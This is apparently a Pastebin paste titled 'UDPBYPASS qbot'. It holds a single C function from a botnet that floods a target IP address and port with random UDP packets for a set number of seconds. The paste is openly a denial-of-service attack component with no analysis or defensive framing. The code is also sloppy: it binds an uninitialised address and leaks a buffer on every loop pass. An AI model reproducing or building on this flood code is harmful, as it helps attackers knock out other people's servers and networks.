Advertisement
KhaosBringer

UDPBYPASS qbot

Oct 29th, 2020
3,176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.03 KB | None | 0 0
  1. void udppbypassattack(unsigned char *target, uint16_t port, int secs)
  2. {
  3.     struct sockaddr_in bypass;
  4.     int fds = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  5.  
  6.     bind(fds, (struct sockaddr *)&bypass, sizeof(bypass));
  7.    
  8.     bypass.sin_family = AF_INET;
  9.     bypass.sin_port = htons(port);
  10.     bypass.sin_addr.s_addr = inet_addr(target);
  11.  
  12.     time_t start = time(NULL);
  13.     connect(fds, (struct sockaddr *)&bypass, sizeof(bypass));
  14.  
  15.     DEBUG_PRINT("(UDP-BYPASS) Attack Starting\r\n");
  16.     while(1)
  17.     {
  18.         uint16_t size = 0;
  19.         int a = 0;
  20.         char *data;
  21.         size = 1024 + rand() % (1460 - 1024);
  22.         data = (char *)malloc(size);
  23.  
  24.         for (a = 0; a < size; a++)
  25.         {
  26.             data[a] = (char)(rand() & 0xFFFF);
  27.         }
  28.         send(fds, data, size, MSG_NOSIGNAL);
  29.         if(time(NULL) >= start + secs)
  30.         {
  31.             DEBUG_PRINT("(UDP-BYPASS) Attack Stopping\r\n");
  32.             close(fds);
  33.             free(data);
  34.             exit(0);
  35.         }
  36.     }
  37.     return;
  38. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement